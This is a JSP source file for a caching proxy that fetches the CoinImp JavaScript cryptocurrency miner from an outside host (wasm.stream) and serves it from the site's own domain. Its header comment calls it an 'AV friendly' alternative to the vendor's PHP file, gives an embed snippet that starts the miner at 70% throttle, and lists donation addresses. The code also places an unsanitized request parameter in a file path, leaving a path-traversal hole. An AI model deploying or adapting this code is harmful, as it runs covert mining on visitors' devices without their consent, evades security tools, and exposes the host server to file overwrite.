<%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
/*
This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was
originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp
is PHP only. You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an
example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID
which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
<script src="/coinproxy.jsp?f=1Ri3.js"></script>
<script>
var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
throttle: 0.7
});
_client.start();
</script>
// Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
Thanks
*/
try {
response.setHeader("Access-Control-Allow-Origin", "*");
response.setCharacterEncoding("UTF-8");
String filename=request.getParameter("f");
if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
} else { response.setContentType("application/octet-stream; charset=utf-8");
}
String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
File f=new File("/tmp/"+filename);
if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
// fetch code from server
URL url = new URL(reqUrl);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
InputStream in = uc.getInputStream();
// save in /tmp
FileOutputStream fo = new FileOutputStream(f);
byte[] buffer = new byte[4096];
int i=0;
int count;
while ((count = in.read(buffer)) != -1) {
i+=count;
fo.write(buffer,0,count);
}
fo.flush();
fo.close();
in.close();
}
// now open file and stream as response
FileInputStream fi=new FileInputStream(f);
OutputStream output = response.getOutputStream();
response.setContentLength((int)(f.length()));
// read cached copy
System.out.println("File length: "+String.valueOf(f.length()));
byte[] buffer = new byte[4096];
int i=0;
int count;
while((count = fi.read(buffer)) != -1) {
i+=count;
output.write(buffer,0,count);
}
fi.close();
} catch (Exception e) {
e.printStackTrace();
}
%>